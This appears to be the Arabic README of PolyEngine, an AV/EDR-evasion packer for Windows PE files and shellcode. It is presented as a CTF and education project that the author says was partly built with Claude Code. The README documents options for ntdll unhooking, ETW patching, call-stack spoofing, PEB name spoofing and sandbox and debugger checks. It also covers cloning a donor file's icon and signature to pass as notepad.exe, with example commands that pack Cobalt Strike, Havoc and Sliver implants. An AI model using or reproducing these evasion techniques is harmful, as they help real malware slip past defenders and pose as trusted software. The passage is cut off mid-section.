
PolyEngine هو أداة تغليف (packer) لملفات PE التهربيه مصممة لتحديات CTF والتعليم الأمني لنظام ويندوز على المستوى المنخفض. تركز على تجاوز تقنيات الكشف الهيوريستيكية لـ EDR وAV من خلال طبقات متداخلة من التنفيذ في الذاكرة وتقنيات التعتيم.
PolyEngine هي أداة تعبئة PE من فئة البحث، مصممة لتفادي الكشف، ومخصصة لتحديات CTF وتعليم أمان Windows منخفض المستوى. تركز على تجاوز خوارزميات EDR وAV من خلال مجموعة متعددة الطبقات من تقنيات التنفيذ في الذاكرة والإخفاء.
هذا مشروع جانبي كنت أعمل عليه لبعض الوقت. استخدمت Claude Code لتنفيذ وتصحيح بعض التقنيات التي أردت تنفيذها في أداة التعبئة الخاصة بي. هناك الكثير من التعليقات على الدوال وما تفعله، حيث كانت تجربة تعلم كبيرة بالنسبة لي، وClaude يقوم بذلك بشكل لا تشوبه شائبة (أنا سيء فيه). آمل أن يساعد بعض الأشخاص في تعلم بعض التفاصيل الداخلية لـ Windows أو في تجاوز بعض برامج مكافحة الفيروسات والكشف الثابت من الحلول المتقدمة عندما تواجه مختبرات ProLabs تلك 🏯.
🔥 شكر كبير لـ MalDevAcademy على جميع المواد المستخدمة في إنشائها والإلهام.
🌩 شكر لـ vx-underground للإلهام عبر تغريدة سخيفة مع قطة سخيفة.
إخلاء مسؤولية: هذه الأداة مخصصة حصريًا لاختبار الأمان المصرح به، ومسابقات CTF، والاستخدام التعليمي. يُحظر الاستخدام ضد الأنظمة دون إذن صريح. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
ترتيب البناء: Stub أولاً، ثم Builder. إصدار Stub Release|x64 يُنتج stub_v0.bin..stub_v3.bin؛ Builder يُضمّن واحدًا في .rsrc.
تأكد من وجود stub_v0.bin..stub_v3.bin في دليل العمل (أو مرر --stub).```
Builder.exe [OPTIONS]
Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable
Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]
Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above
Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).
Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
---
## أمثلة
أمثلة عملية مجمعة حسب السيناريو. كل علامة اختيارية (الإفلات مفعل بالكامل افتراضيًا)، لذا فإن أبسط استدعاء يحصل بالفعل على المكدس الكامل.
<details>
<summary><b>التعبئة الأساسية - EXE / DLL / shellcode</b></summary>
قم بتعبئة ملف EXE غير مُدار. يقوم المُنشئ باكتشاف رأس `MZ` تلقائيًا ويتوجّه عبر مسار RunPE:```
Builder.exe implant.exe packed.exe
احزم شيلكود خامًا مستقلًا عن الموقع (Cobalt Strike .bin، msfvenom -f raw، إلخ). لا MZ → استدعاء مباشر في المخزن المؤقت المُفكوك:```
Builder.exe beacon.bin packed.exe
احزم DLL واستدعِ `DllMain` الافتراضي فقط (بدون تصدير):```
Builder.exe payload.dll packed.exe
استخدم دليلاً من مسار غير افتراضي:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
</details>
<details>
<summary><b>حمولات DLL مع الصادرات - Havoc / Sliver / منارات مخصصة</b></summary>